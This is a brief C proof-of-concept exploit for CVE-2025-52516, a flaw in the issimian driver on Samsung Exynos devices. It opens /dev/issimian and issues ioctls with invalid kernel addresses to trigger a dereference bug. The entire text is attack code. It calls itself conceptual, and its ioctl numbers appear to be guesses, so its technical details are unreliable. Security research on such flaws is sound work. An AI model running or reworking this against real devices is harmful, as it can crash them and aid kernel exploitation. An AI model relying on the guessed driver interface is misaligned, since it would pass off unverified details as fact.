CVE-2025-52516

/* * CVE-2025-52516 PoC - issimian driver kernel address dereference * This PoC demonstrates triggering the vulnerability in Samsung Exynos * issimian device driver through camera subsystem interface. * * Note: This is a conceptual PoC for educational and security research purposes. * Actual exploitation requires specific device and kernel configuration. */ #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> /* ioctl commands for issimian driver */ #define ISSIMIAN_IOC_MAGIC 'I' #define ISSIMIAN_IOC_TRIGGER _IOW(ISSIMIAN_IOC_MAGIC, 0x01, unsigned long) #define ISSIMIAN_IOC_READ_ADDR _IOW(ISSIMIAN_IOC_MAGIC, 0x02, unsigned long) int main(int argc, char *argv[]) { int fd; unsigned long invalid_addr = 0xdeadbeefdeadbeefULL; printf("[*] CVE-2025-52516 PoC - Samsung Exynos issimian Driver\n"); printf("[*] Vulnerability: Invalid kernel address dereference\n"); /* Open issimian device interface */ fd = open("/dev/issimian", O_RDWR); if (fd < 0) { printf("[-] Failed to open /dev/issimian device\n"); printf("[-] Device may not exist or require root privileges\n"); return 1; } printf("[+] Device opened successfully\n"); /* Method 1: Directly trigger with invalid address */ printf("[*] Attempting to trigger vulnerability...\n"); if (ioctl(fd, ISSIMIAN_IOC_READ_ADDR, invalid_addr) < 0) { printf("[!] ioctl call failed - may indicate vulnerability trigger\n"); } /* Method 2: Trigger through camera interface */ printf("[*] Attempting camera interface trigger...\n"); if (ioctl(fd, ISSIMIAN_IOC_TRIGGER, 0x41414141) < 0) { perror("[-] Trigger failed"); } close(fd); printf("[*] Test completed\n"); return 0; }

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